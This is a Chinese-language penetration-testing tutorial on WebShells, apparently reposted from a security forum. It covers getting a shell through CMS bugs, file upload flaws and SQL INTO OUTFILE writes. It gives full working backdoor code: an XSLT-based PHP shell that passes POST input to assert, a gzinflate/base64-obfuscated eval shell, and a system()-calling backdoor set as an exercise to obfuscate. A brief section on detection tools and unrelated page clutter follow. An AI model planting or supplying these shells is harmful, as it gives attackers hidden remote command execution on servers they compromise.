【渗透攻防】千变万化的WebShell
前言
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。
目录
- 第一节 CMS获取WebShell
- 第二节 非CMS获取WebShell
- 第三节 基于xslt转换的WebShell
- 第四节 代码混淆隐藏WebShell
- 第五节 防御篇-查杀WebShell
正文

- 第一节 CMS获取WebShell
1.1、什么是CMS?
CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。
1.2、常见的CMS有哪些?
- asp平台:动易CMS、创力CMS、科汛CMS、新云CMS;
- php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
- ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;
1.3、CMS获取WebShell方法
公开漏洞途径:以PHPCMS为例:
我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。

代码审计途径:
有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。关于代码审计的教程篇幅太长,这里就不做更多介绍,我会单独写一篇系列文章进行讲解。
- 第二节 非CMS获取WebShell
2.1、上传漏洞获取WebShell
文件上传漏洞主要有以下几种情况:
- MIME类型绕过漏洞
- 文件扩展名绕过漏洞
- 文件内容检测绕过类上传漏洞
- 空字节截断目录路径检测绕过类上传漏洞
解析导致的文件上传漏洞:
- IIS6.0站上的目录路径检测解析绕过上传漏洞
- Apache站上的解析缺陷绕过上传漏洞
- htaccess文件上传解析漏洞
还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。
具体请看i春秋学院视频,还可以做实验,链接如下:
非法文件上传漏洞技术解析及防御
2.2、SQL注入获取WebShell
利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。
MySQL:
select into outfile(dumpfile) //MySQL写文件命令
例如:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";


那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。
2.3、数据库备份获取WebShell
利用数据库备份获取WebShell,恰好i春秋有相关的实验,我也发过相关的教程,这里就不介绍了,大家去看看吧,第三步就是利用数据库备份拿WebShell。
2015中国网络安全大赛:越权访问真题
配套实验地址:(进去后选择越权访问点击START就行了)
2015中国网络安全大赛
- 第三节 基于xslt转换的WebShell
3.1、什么是xslt?
在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读格式呈现 XML(标准通用标记语言的子集)数据的语言。
XSL - 不仅仅是样式表语言
XSL 包括三部分:
XSLT - 一种用于转换 XML 文档的语言。
XPath - 一种用于在 XML 文档中导航的语言。
XSL-FO - 一种用于格式化 XML 文档的语言。
那么看到这里相信大家已经了解到xslt是xsl的一部分。
3.2、在PHP下基于xslt转换来隐藏WebShell
怎么在php下使用xsl呢?我教大家的都是可以自己学习的方法,既然要使用php,我们肯定要去看php的官方手册,我们去搜索xsl

定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下
Enables the ability to use PHP functions as XSLT functions
我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料
我们先来看看官方事例:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl"> //这个命名空间URI表示php专用的xsl函数支持
<xsl:output method="html" encoding="utf-8" indent="yes"/>
<xsl:template match="allusers">
<html><body>
<h2>Users</h2>
<table>
<xsl:for-each select="user">
<tr><td>
<xsl:value-of
select="php:function('ucfirst',string(uid))"/> //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。
</td></tr>
</xsl:for-each>
</table>
</body></html>
</xsl:template>
</xsl:stylesheet>
那么搞懂了以上这些知识,那就很简单了。
为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下:
<?php
$xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
<xsl:template match="/ichunqiu">
<xsl:value-of select="icq:function(\'assert\',string(.))"/>
</xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?>
可以直接用菜刀连接:(密码:zusheng)


参考资料:
- PHP官方手册:http://php.net/manual/zh/
- 第四节 代码混淆隐藏WebShell
代码混淆隐藏WebShell也就是通过编码和压缩恶意代码的方式来隐藏WebShell。
这里我们使用gzinflate+Base64加密,来隐藏WebShell。
<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>
可以直接用菜刀连接:(密码:zusheng)
- 第五节 防御篇-查杀WebShell
5.1、WebShell的分类

5.2、安全工具
D盾:

下载地址:免费下载
360主机卫士:
提供在线监测,把网站打包成zip上传就行了
http://zhuji.360.cn/backdoor
小实验
学完上述知识,大家是不是想动手来试试了呢,来个小实验。
我们先新建一个php文件
文件内容如下:
<?php
if (isset($_GET["cmd"]))
{
array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
}
?>

使用gzinflate+Base64加密,来隐藏WebShell。
使之能正常运行。
结束语
作为一名黑客,在你取得成功的问题上没有什么诀窍可寻,只有你越努力工作,你才能越接近成功。
文章首链:http://bbs.ichunqiu.com/thread-8907-1-1.html?from=bkycold
感谢您的阅读,如果您学到了,请点赞(码字不易)!
欢迎热心园友补充!
【渗透攻防】千变万化的WebShell的更多相关文章
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级
[web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...
- 【渗透攻防Web篇】SQL注入攻击高级
前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 ...
- 渗透攻防工具篇-后渗透阶段的Meterpreter
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...
- 【渗透攻防】深入了解Windows
前言 本篇是基础教程,带大家了解Windows常用用户及用户组,本地提取用户密码,远程利用Hash登录到本地破解Hash.初步掌握Windows基础安全知识. 目录 第一节 初识Windows 第二节 ...
- 内网渗透利器--reDuh(webshell跳板)
作者:sai52[B.H.S.T] 国外大牛的作品,偶顺手写了个使用说明.E文好的看原文 http://www.sensepost.com/research/reDuh/ 这个工具可以把内网服务器的 ...
- 渗透攻防Web篇-深入浅出SQL注入
1 背景 京东SRC(Security Response Center)收录大量外部白帽子提交的sql注入漏洞,漏洞发生的原因多为sql语句拼接和Mybatis使用不当导致. 2 手工检测 2.1 前 ...
- 转发 PHP 资料(一)
WebShell隐藏思路.webshell磁盘读写动态检测.webshell沙箱动态检测(2) 作为WebShell检测.CMS修复.WebShell攻防研究学习的第二篇文章 本文旨在研究Webs ...
- web全套资料 干货满满 各种文章详解
sql注入l MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名.字段名.库名高级S ...
随机推荐
- jmeter在几个固定的字符串中,随机取其中之一的方法
在测试过程中遇到上送字段必需是几个固定值中的一个, 使用读取文件中几个固定值,然后随机在这几个固定值中选择的办法解决问题 __CSVRead() CSV file to get values from ...
- 利用Crosstool-ng制作交叉编译工具链
1.什么是crosstool-ng crosstool-ng,全称是crosstool Next Generation,即下一代crosstool,即crosstool的升级版.那么什么是crosst ...
- dubbo知识体系
Dubbo负载均衡 Random随机/ RoundRobin轮询/ LeastActive最少Dubbo缓存Dubbo集群容错 Dubbo回调 服务分组: group Dubbo异步调用 <du ...
- 矩阵游戏(game)
矩阵游戏(game) --九校联考24OI__D1T1 问题描述 LZK发明一个矩阵游戏,大家一起来玩玩吧,有一个N行M列的矩阵.第一行的数字是1,2,-M,第二行的数字是M+1,M+2-2*M,以此 ...
- 干货 | PHP就该这么学!
前段时间和大家一起分享了一篇关于学习方法内容<大牛与搬运工的差距——学习方法的力量>.我们将学习过程分成八步,并借鉴了敏捷开发的迭代思想,以达到自我迭代学习的效果.行胜于言,理论结合实践才 ...
- 从 Basic Paxos 到 Multi Paxos 到 Raft
在朴素Paxos算法中, 各个节点经过 Prepare 和 Accept 阶段, 会达成一个值, 这个值一旦达成, 就不能被修改, 如下例子: 图示1 上面的操作几乎没有任何实用价值, 于是演变成下面 ...
- 图解Golang的GC算法
虽然Golang的GC自打一开始,就被人所诟病,但是经过这么多年的发展,Golang的GC已经改善了非常多,变得非常优秀了. 以下是Golang GC算法的里程碑: v1.1 STW v1.3 Mar ...
- Sqlite3数据库查看工具
SQLiteSpy 小巧便捷,免安装,占空间小. 推荐 http://www.softpedia.com/get/Internet/Servers/Database-Utils/SQLiteS ...
- 跟踪SQL
在数据库中,找到以下页面,并选择事件中的Tsql下的bath...与stm...
- AHOI——Day1个人感悟
今天,是个bilibili的日子.(嗯?什么意思?) 洛谷已经尽力了: 于是我带着洛谷的祝福,来到了AHOI的考场--合肥一中. 其实我是考完才签到的,我一大早五点多就起来了,到考场后,在肯德基吃了早 ...